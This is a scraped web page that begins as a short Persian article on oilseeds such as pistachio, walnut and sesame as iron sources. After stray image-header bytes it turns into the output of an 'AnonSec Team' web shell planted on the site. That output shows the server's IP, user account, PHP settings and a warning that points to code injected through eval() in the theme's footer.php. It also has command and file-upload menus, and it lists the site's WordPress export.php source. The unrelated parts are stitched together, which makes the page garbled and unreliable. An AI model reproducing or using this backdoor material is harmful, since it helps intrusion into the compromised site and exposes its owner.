انواع دانه های روغنی حاوی آهن

یکی از ویژگی های مثبت و قابل توجه برای انواع دانه های روغنی این است که حاوی مقادیر قابل توجهی آهن می باشد. آیا همه دانه های روغنی دارای آهن می باشند؟
به طور کلی برخی از ویتامین ها و مواد معدنی در بین عوام از اهمیت بیشتری برخوردار می شوند، شاید در بین مردن کسی پتاسیم و منیزیم را نشناسد و نداند این مواد چه تاثیری در بدن خواهند گذاشت، این در حالی است عموم افراد آهن و اثرات کمبود آن در بدن را به خوبی می شناسند.
شاید دلیل این موارد توجه بیش از حد به این گونه مواد می باشد، دانه های روغنی همواره به عنوان یکی از دسته های مهم مواد غذایی مورد توجه قرار می گیرند، این دانه ها که ترکیب اصلی آن ها چربی غیر اشباع شده می باشد، برای تامین بسیاری از نیاز های بدنی پیشنهاد می شوند.

انواع دانه های روغنی

دانه های روغنی و آهن موجود در آن

آهن یکی از مواد معدنی می باشد که برای رشد ذهنی افراد بسیار مفید است، همچنین مصرف آهن در جلوگیری از کم خونی نیز موثر می باشد، به طور کلی کمبود آهن باعث به وجود آمدن مشکلات عدیده ای خواهد شد، به همین دلیل است که پزشکان برای کسانی که کمبود آهن داشته باشند، داروی شیمیایی آن را تجویز می نمایند.
بسیاری از منابع از انواع دانه های روغنی به عنوان منبعی از آهن نام برده اند، دانه های روغنی همچون پسته، فندق، گردو و کنجد به راحتی می توانند آهن مورد نیاز بدن را فراهم کنند، ضمن این که این دانه های روغنی با داشتن اسید های چرب ضروری امگا در تقویت سیستم مغز و قلب و عروق کارساز خواهند بود.

ÿØÿà JFIF ÿþ; AnonSec Team
AnonSec Team
Server IP : 37.187.155.34  /  Your IP : 18.116.45.122
Web Server : LiteSpeed
System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : oilse103 ( 1565)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF
Directory (0755) :  /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/export.php
<?php
/**
 * WordPress Export Administration Screen
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'export' ) ) {
	wp_die( __( 'Sorry, you are not allowed to export the content of this site.' ) );
}

/** Load WordPress export API */
require_once ABSPATH . 'wp-admin/includes/export.php';

// Used in the HTML title tag.
$title = __( 'Export' );

/**
 * Display JavaScript on the page.
 *
 * @since 3.5.0
 */
function export_add_js() {
	?>
<script type="text/javascript">
	jQuery( function($) {
		var form = $('#export-filters'),
			filters = form.find('.export-filters');
		filters.hide();
		form.find('input:radio').on( 'change', function() {
			filters.slideUp('fast');
			switch ( $(this).val() ) {
				case 'attachment': $('#attachment-filters').slideDown(); break;
				case 'posts': $('#post-filters').slideDown(); break;
				case 'pages': $('#page-filters').slideDown(); break;
			}
		});
	} );
</script>
	<?php
}
add_action( 'admin_head', 'export_add_js' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => '<p>' . __( 'You can export a file of your site&#8217;s content in order to import it into another installation or platform. The export file will be an XML file format called WXR. Posts, pages, comments, custom fields, categories, and tags can be included. You can choose for the WXR file to include only certain posts or pages by setting the dropdown filters to limit the export by category, author, date range by month, or publishing status.' ) . '</p>' .
			'<p>' . __( 'Once generated, your WXR file can be imported by another WordPress site or by another blogging platform able to access this format.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/tools-export-screen/">Documentation on Export</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

// If the 'download' URL parameter is set, a WXR export file is baked and returned.
if ( isset( $_GET['download'] ) ) {
	$args = array();

	if ( ! isset( $_GET['content'] ) || 'all' === $_GET['content'] ) {
		$args['content'] = 'all';
	} elseif ( 'posts' === $_GET['content'] ) {
		$args['content'] = 'post';

		if ( $_GET['cat'] ) {
			$args['category'] = (int) $_GET['cat'];
		}

		if ( $_GET['post_author'] ) {
			$args['author'] = (int) $_GET['post_author'];
		}

		if ( $_GET['post_start_date'] || $_GET['post_end_date'] ) {
			$args['start_date'] = $_GET['post_start_date'];
			$args['end_date']   = $_GET['post_end_date'];
		}

		if ( $_GET['post_status'] ) {
			$args['status'] = $_GET['post_status'];
		}
	} elseif ( 'pages' === $_GET['content'] ) {
		$args['content'] = 'page';

		if ( $_GET['page_author'] ) {
			$args['author'] = (int) $_GET['page_author'];
		}

		if ( $_GET['page_start_date'] || $_GET['page_end_date'] ) {
			$args['start_date'] = $_GET['page_start_date'];
			$args['end_date']   = $_GET['page_end_date'];
		}

		if ( $_GET['page_status'] ) {
			$args['status'] = $_GET['page_status'];
		}
	} elseif ( 'attachment' === $_GET['content'] ) {
		$args['content'] = 'attachment';

		if ( $_GET['attachment_start_date'] || $_GET['attachment_end_date'] ) {
			$args['start_date'] = $_GET['attachment_start_date'];
			$args['end_date']   = $_GET['attachment_end_date'];
		}
	} else {
		$args['content'] = $_GET['content'];
	}

	/**
	 * Filters the export args.
	 *
	 * @since 3.5.0
	 *
	 * @param array $args The arguments to send to the exporter.
	 */
	$args = apply_filters( 'export_args', $args );

	export_wp( $args );
	die();
}

require_once ABSPATH . 'wp-admin/admin-header.php';

/**
 * Creates the date options fields for exporting a given post type.
 *
 * @global wpdb      $wpdb      WordPress database abstraction object.
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @since 3.1.0
 *
 * @param string $post_type The post type. Default 'post'.
 */
function export_date_options( $post_type = 'post' ) {
	global $wpdb, $wp_locale;

	$months = $wpdb->get_results(
		$wpdb->prepare(
			"SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
			FROM $wpdb->posts
			WHERE post_type = %s AND post_status != 'auto-draft'
			ORDER BY post_date DESC",
			$post_type
		)
	);

	$month_count = count( $months );
	if ( ! $month_count || ( 1 === $month_count && 0 === (int) $months[0]->month ) ) {
		return;
	}

	foreach ( $months as $date ) {
		if ( 0 === (int) $date->year ) {
			continue;
		}

		$month = zeroise( $date->month, 2 );

		printf(
			'<option value="%1$s">%2$s</option>',
			esc_attr( $date->year . '-' . $month ),
			$wp_locale->get_month( $month ) . ' ' . $date->year
		);
	}
}
?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<p><?php _e( 'When you click the button below WordPress will create an XML file for you to save to your computer.' ); ?></p>
<p><?php _e( 'This format, which is called WordPress eXtended RSS or WXR, will contain your posts, pages, comments, custom fields, categories, and tags.' ); ?></p>
<p><?php _e( 'Once you&#8217;ve saved the download file, you can use the Import function in another WordPress installation to import the content from this site.' ); ?></p>

<h2><?php _e( 'Choose what to export' ); ?></h2>
<form method="get" id="export-filters">
<fieldset>
<legend class="screen-reader-text">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Content to export' );
	?>
</legend>
<input type="hidden" name="download" value="true" />
<p><label><input type="radio" name="content" value="all" checked="checked" aria-describedby="all-content-desc" /> <?php _e( 'All content' ); ?></label></p>
<p class="description" id="all-content-desc"><?php _e( 'This will contain all of your posts, pages, comments, custom fields, terms, navigation menus, and custom posts.' ); ?></p>

<p><label><input type="radio" name="content" value="posts" /> <?php _ex( 'Posts', 'post type general name' ); ?></label></p>
<ul id="post-filters" class="export-filters">
	<li>
		<label><span class="label-responsive"><?php _e( 'Categories:' ); ?></span>
		<?php wp_dropdown_categories( array( 'show_option_all' => __( 'All' ) ) ); ?>
		</label>
	</li>
	<li>
		<label><span class="label-responsive"><?php _e( 'Authors:' ); ?></span>
		<?php
		$authors = $wpdb->get_col( "SELECT DISTINCT post_author FROM {$wpdb->posts} WHERE post_type = 'post'" );
		wp_dropdown_users(
			array(
				'include'         => $authors,
				'name'            => 'post_author',
				'multi'           => true,
				'show_option_all' => __( 'All' ),
				'show'            => 'display_name_with_login',
			)
		);
		?>
		</label>
	</li>
	<li>
		<fieldset>
		<legend class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Date range:' )
			?>
		</legend>
		<label for="post-start-date" class="label-responsive"><?php _e( 'Start date:' ); ?></label>
		<select name="post_start_date" id="post-start-date">
			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
			<?php export_date_options(); ?>
		</select>
		<label for="post-end-date" class="label-responsive"><?php _e( 'End date:' ); ?></label>
		<select name="post_end_date" id="post-end-date">
			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
			<?php export_date_options(); ?>
		</select>
		</fieldset>
	</li>
	<li>
		<label for="post-status" class="label-responsive"><?php _e( 'Status:' ); ?></label>
		<select name="post_status" id="post-status">
			<option value="0"><?php _e( 'All' ); ?></option>
			<?php
			$post_stati = get_post_stati( array( 'internal' => false ), 'objects' );
			foreach ( $post_stati as $status ) :
				?>
			<option value="<?php echo esc_attr( $status->name ); ?>"><?php echo esc_html( $status->label ); ?></option>
			<?php endforeach; ?>
		</select>
	</li>
</ul>

<p><label><input type="radio" name="content" value="pages" /> <?php _e( 'Pages' ); ?></label></p>
<ul id="page-filters" class="export-filters">
	<li>
		<label><span class="label-responsive"><?php _e( 'Authors:' ); ?></span>
		<?php
		$authors = $wpdb->get_col( "SELECT DISTINCT post_author FROM {$wpdb->posts} WHERE post_type = 'page'" );
		wp_dropdown_users(
			array(
				'include'         => $authors,
				'name'            => 'page_author',
				'multi'           => true,
				'show_option_all' => __( 'All' ),
				'show'            => 'display_name_with_login',
			)
		);
		?>
		</label>
	</li>
	<li>
		<fieldset>
		<legend class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Date range:' );
			?>
		</legend>
		<label for="page-start-date" class="label-responsive"><?php _e( 'Start date:' ); ?></label>
		<select name="page_start_date" id="page-start-date">
			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
			<?php export_date_options( 'page' ); ?>
		</select>
		<label for="page-end-date" class="label-responsive"><?php _e( 'End date:' ); ?></label>
		<select name="page_end_date" id="page-end-date">
			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
			<?php export_date_options( 'page' ); ?>
		</select>
		</fieldset>
	</li>
	<li>
		<label for="page-status" class="label-responsive"><?php _e( 'Status:' ); ?></label>
		<select name="page_status" id="page-status">
			<option value="0"><?php _e( 'All' ); ?></option>
			<?php foreach ( $post_stati as $status ) : ?>
			<option value="<?php echo esc_attr( $status->name ); ?>"><?php echo esc_html( $status->label ); ?></option>
			<?php endforeach; ?>
		</select>
	</li>
</ul>

<?php
foreach ( get_post_types(
	array(
		'_builtin'   => false,
		'can_export' => true,
	),
	'objects'
) as $post_type ) :
	?>
<p><label><input type="radio" name="content" value="<?php echo esc_attr( $post_type->name ); ?>" /> <?php echo esc_html( $post_type->label ); ?></label></p>
<?php endforeach; ?>

<p><label><input type="radio" name="content" value="attachment" /> <?php _e( 'Media' ); ?></label></p>
<ul id="attachment-filters" class="export-filters">
	<li>
		<fieldset>
		<legend class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Date range:' );
			?>
		</legend>
		<label for="attachment-start-date" class="label-responsive"><?php _e( 'Start date:' ); ?></label>
		<select name="attachment_start_date" id="attachment-start-date">
			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
			<?php export_date_options( 'attachment' ); ?>
		</select>
		<label for="attachment-end-date" class="label-responsive"><?php _e( 'End date:' ); ?></label>
		<select name="attachment_end_date" id="attachment-end-date">
			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
			<?php export_date_options( 'attachment' ); ?>
		</select>
		</fieldset>
	</li>
</ul>

</fieldset>
<?php
/**
 * Fires at the end of the export filters form.
 *
 * @since 3.5.0
 */
do_action( 'export_filters' );
?>

<?php submit_button( __( 'Download Export File' ) ); ?>
</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>

AnonSec - 2021